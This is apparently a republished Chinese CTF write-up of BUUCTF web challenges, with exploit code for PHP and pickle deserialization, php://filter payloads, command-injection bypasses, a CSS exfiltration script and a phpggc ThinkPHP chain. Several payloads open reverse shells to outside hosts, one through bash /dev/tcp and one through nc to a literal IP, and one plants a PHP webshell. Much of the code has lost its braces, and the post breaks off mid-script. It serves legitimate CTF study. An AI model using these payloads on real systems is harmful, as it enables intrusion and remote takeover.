Buuctf之web
Posted Yn8rt
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Buuctf之web相关的知识,希望对你有一定的参考价值。
Greatphp
使用 Error/Exception 内置类绕过哈希比较
可见,需要进入eval()执行代码需要先通过上面的if语句:
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )
这个乍看一眼在ctf的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。
这里的考点是md5()
和sha1()
可以对一个类进行hash,并且会触发这个类的 __toString
方法;且当eval()
函数传入一个类对象时,也会触发这个类里的 __toString
方法。
所以我们可以使用含有 __toString
方法的PHP内置类来绕过,用的两个比较多的内置类就是 Exception
和 Error
,他们之中有一个 __toString
方法,当类被当做字符串处理时,就会调用这个函数。
example:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\\r\\n\\r\\n";
echo $b;
输出:
Error: payload in /var/www/html/tmp/test.php:2
Stack trace:
#0 main
Error: payload in /var/www/html/tmp/test.php:2
Stack trace:
#0 main
可见,$a
和 $b
这两个错误对象本身是不同的,但是 __toString
方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString
返回的数据包含当前行号。
调试记录:
<?php
// $str = ~urldecode("%DB%A0%B8%BA%AB");
// $str1 = ~urldecode("%24_GET");
// $str2 = ~urldecode("_");
// echo $str;
// echo "</br>";
// echo urlencode($str1);
// echo "</br>".urlencode($str2);
$str = "?><?=include ".~urldecode("%DB%A0%B8%BA%AB")."[".~urldecode("%A0")."];?>";
/*?><?=include $_GET[_];?>*/
$str1 = !urldecode("%FF");
echo $str;
echo "</br>";
echo $str1;
?>
Easyphp
考点
.htaccess的利用
思路
在目录下,只有index.php能够作为php解析执行,于是我们可以写一个.htaccess让index.php自动包含执行代码;
思路一:向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess,但是file关键字被ban了,可以用换行绕过,结尾要用\\处理content中的\\n;
思路二:利用.htaccess文件特性,不过这次是通过设置php_value来设置preg_macth正则回溯次数;先写入.htaccess,再直接通过php://filter伪协议写入一句话
Easyphp2
if(preg_match('/;|base64|rot13|base32|base16|<\\?php|#/i', $count))
die('hacker!');
绕过payload:
?file=php://filter/convert.%6%32ase64-encode/resource=GWHT.php//这里的是手工url二次编码的
?file=php://filter/convert.%25%36%32ase64-encode/resource=GWHT.php
?file=php://filter/read=convert.iconv.utf-8.utf-16be/resource=GWHT.php
/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
需要先打印出来在切换用户并执行,www的权限是很低的
Blackcat
hash_hmac:hash_hmac这个函数处理数组的时候会返回false
<?php
$cmd0=";bash -c 'bash -i >%26 /dev/tcp/vpsip/8888 0>%261'";;
//$cmd = ';env';用于buu环境
$cmd = ";bash -c 'bash -i >& /dev/tcpvpsip/8888 0>&1'";
$hmac = hash_hmac('sha256', $cmd, false);
echo "White-cat-monitor[]=a&One-ear=".$cmd0."&Black-Cat-Sheriff=".$hmac;
//White-cat-monitor[]=a&One-ear=;bash -c 'bash -i >%26 /dev/tcp/vps/8888 0>%261'&Black-Cat-Sheriff=7b274163fd3820243f8cd99e49e71735f9faec25bff2a96d6ff3b6aab7ab1310
Easyser
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" )
highlight_file(__FILE__);
$flag='Trump_:"fake_news!"';
class GWHT
public $hero;
public function __construct()
$this->hero = new Yasuo;
public function __toString()
if (isset($this->hero))
return $this->hero->hasaki();
else
return "You don't look very happy";
class Yongen //flag.php
public $file;
public $text;
public function __construct($file='',$text='')
$this -> file = $file;
$this -> text = $text;
public function hasaki()
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
class Yasuo
public function hasaki()
return "I'm the best happy windy man";
?>
poc构造:
<?php
class GWHT
public $hero;
public function __construct()
$this->hero = new Yongen;
public function __toString()
if (isset($this->hero))
return $this->hero->hasaki();
else
return "You don't look very happy";
class Yongen //flag.php
public $file;
public $text;
public function __construct($file='',$text='')
$this -> file = $file;
$this -> text = $text;
$a = new Yongen();
$a->file = "php://filter/string.strip_tags|convert.base64-decode/resource=yn8rt.php";
$a->text = "PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=";//密码123
$b = new GWHT();
$b->hero = $a;
echo urlencode(serialize($b));
关于php://filter在file_put_contents中的利用
当构造完以后,发现没有反序列化的点,我看网上wp,没有说参数怎么来的
pip3 install arjun
arjun -T 1 -u 123.666.com/star1.php?path=127.0.0.1/ser.php
[羊城杯 2020]Break The Wall
显然不是预期解
[安洵杯 2019]iamthinking
很眼熟,这是tp6的链子,在今年的西湖论剑还考到了几乎一模一样的,考查绕过parse_url
<?php
namespace app\\controller;
use app\\BaseController;
class Index extends BaseController
public function index()
echo "<img src='../test.jpg'"."/>";
$paylaod = @$_GET['payload'];
if(isset($paylaod))
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
if(preg_match("/^O/i",$value))
die('STOP HACKING');
exit();
unserialize($paylaod);
快速利用方法:https://github.com/wh1t3p1g/phpggc
小工具很好用,如果西湖论剑的时候就知道的话,就不需那么麻烦的curl外带了,终究还是我太菜了
./phpggc -u ThinkPHP/RCE2 'system("cat /flag");'
[安洵杯 2019]cssgame
css脚本爆破
这篇文章把针对这道题目的css的理解讲的很nice
但是buu为内网环境所以需要用小号开一台linux-labs的靶机:
脚本:
import sys
f = open("poc.css", "w")
dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-"
for i in dic:
flag = sys.argv[1] + i
payload = "input[name=flag][value^=\\"" + flag + "\\"] ~ * background-image: url(\\"http://172.16.137.196:8080/?" + flag + "\\");"
f.write(payload + "\\n")
f.close()
试验失败
[CISCN2019 总决赛 Day1 Web4]Laravel1
下面是我选择分析的一条链子:
<?php
namespace Symfony\\Component\\Cache;
class CacheItem
protected $innerItem = 'cat /flag';
namespace Symfony\\Component\\Cache\\Adapter;
class ProxyAdapter
private $setInnerItem = 'system';
class TagAwareAdapter
public $deferred = [];
public function __construct()
$this->pool = new ProxyAdapter();
$a = new TagAwareAdapter();
$a -> deferred = array('a' => new \\Symfony\\Component\\Cache\\CacheItem);
echo urlencode(serialize($a));
分析:
起因是因为在TagAwareAdapter.php中的构析函数:
invalidateTags函数中的触发点是:
这个pool是我们可以控制的,所以直接可以转接到ProxyAdapter.php的saveDeferred方法中:
函数结尾出现该结构:
其中:setInnerItem为class ProxyAdapter私有变量可控,而$item是来自CacheItemInterface接口:
可控,而在poc中实现调用cacheitem的是$a -> deferred = array('a' => new \\Symfony\\Component\\Cache\\CacheItem);
这里使传入dosave的变量$item为数组的键名,也就是cacheitem的一个对象:
这是以数组的形式来调用对象中的属性,也正好就是实现了system参数的赋值
[CISCN2019 总决赛 Day1 Web3]Flask Message Board
遇到flask的考点要么就是ssti命令执行,要么就是读密钥session伪造,如果涉及到登录的话或者有明显的admin出现,那基本就后者了直接看cookie就行:解码
eyJhZG1pbiI6ZmFsc2V9.Ya212w.btBW8OjFzZivZl5up50zSrl1hTM;
"admin": false
pip3 install flask-unsign
flask-unsign --sign --cookie "'admin': True" --secret "1Ii1|1|l1IliilI||iIli|l|iIIi1I1ll1|1lIi1"
出现了问题:无法读取config,就直接利用了
[网鼎杯 2020 青龙组]filejava
开始java学习
首先面对java的文件泄露通常采取读取web.xml来实现对泄露文件的遍历:…/…/…/…/WEB-INF/web.xml
得到的三个文件,其中一个点代表一个目录需要用/将他们分开,将下载好的三个文件打包为zip利用jd-gui进行反编译
试验失败,buu的linux靶机没用明白,不知道为什么老是不弹
EasyBypass
<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/\\'|\\`|\\\\|\\*|\\n|\\t|\\xA0|\\r|\\|\\|\\(|\\)|<|\\&[^\\d]|@|\\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\\'|\\"|;|,|\\`|\\*|\\\\|\\n|\\t|\\r|\\xA0|\\|\\|\\(|\\)|<|\\&[^\\d]|@|\\||ls|\\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";
$flag = "#flag in /flag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
非常easy:
?comm1=index.php";tac /fla?;"
&comm2=1
[watevrCTF-2019]Pickle Store
pickle反序列化:
Python中的Pickle模块实现了基本的数据序列与反序列化。
一、dump()方法
pickle.dump(obj, file, [,protocol])
注释:序列化对象,将对象obj保存到文件file中去。参数protocol是序列化模式,默认是0(ASCII协议,表示以文本的形式进行序列化),protocol的值还可以是1和2(1和2表示以二进制的形式进行序列化。其中,1是老式的二进制协议;2是新二进制协议)。file表示保存到的类文件对象,file必须有write()接口,file可以是一个以’w’打开的文件或者是一个StringIO对象,也可以是任何可以实现write()接口的对象。
二、load()方法
pickle.load(file)
注释:反序列化对象,将文件中的数据解析为一个python对象。file中有read()接口和readline()接口
代码示例:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import cPickle as pickle
obj = 123, "abcdedf", ["ac", 123], "key": "value", "key1": "value1"
print obj# 输出:(123, 'abcdedf', ['ac', 123], 'key1': 'value1', 'key': 'value')
# 序列化到文件
with open(r"d:\\a.txt", "r+") as f:
pickle.dump(obj, f)
with open(r"d:\\a.txt") as f:
print pickle.load(f)# 输出:(123, 'abcdedf', ['ac', 123], 'key1': 'value1', 'key': 'value')
# 序列化到内存(字符串格式保存),然后对象可以以任何方式处理如通过网络传输
obj1 = pickle.dumps(obj)
print type(obj1)# 输出:
print obj1# 输出:python专用的存储格式
obj2 = pickle.loads(obj1)
print type(obj2)# 输出:
print obj2# 输出:(123, 'abcdedf', ['ac', 123], 'key1': 'value1', 'key': 'value')
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/9/10 14:38
# pickle 反序列化操作
import pickle
from base64 import *
str = "gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
print(pickle.loads(b64decode(str)))
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/9/10 14:38
# pickle 序列化操作
import base64
import pickle
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc 82.157.131.41 4444 -e/bin/sh')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )
参考文档:
https://www.php.cn/python-tutorials-372984.html
https://www.cnblogs.com/h3zh1/p/12698897.html
[NESTCTF 2019]Love Math 2
其中得以利用的是异或,下面分析一下payload:
/index.php?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi0($pi1)&0=system&1=<command>
is_nan^(6).(4)=is_nan^64==>_G
tan^(1).(5)=tan^15==>ET
?c=$pi=_GET;$pi=$_GET;$_GET0($_GET1)
其中利用到的fuzz脚本:
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 以上是关于Buuctf之web的主要内容,如果未能解决你的问题,请参考以下文章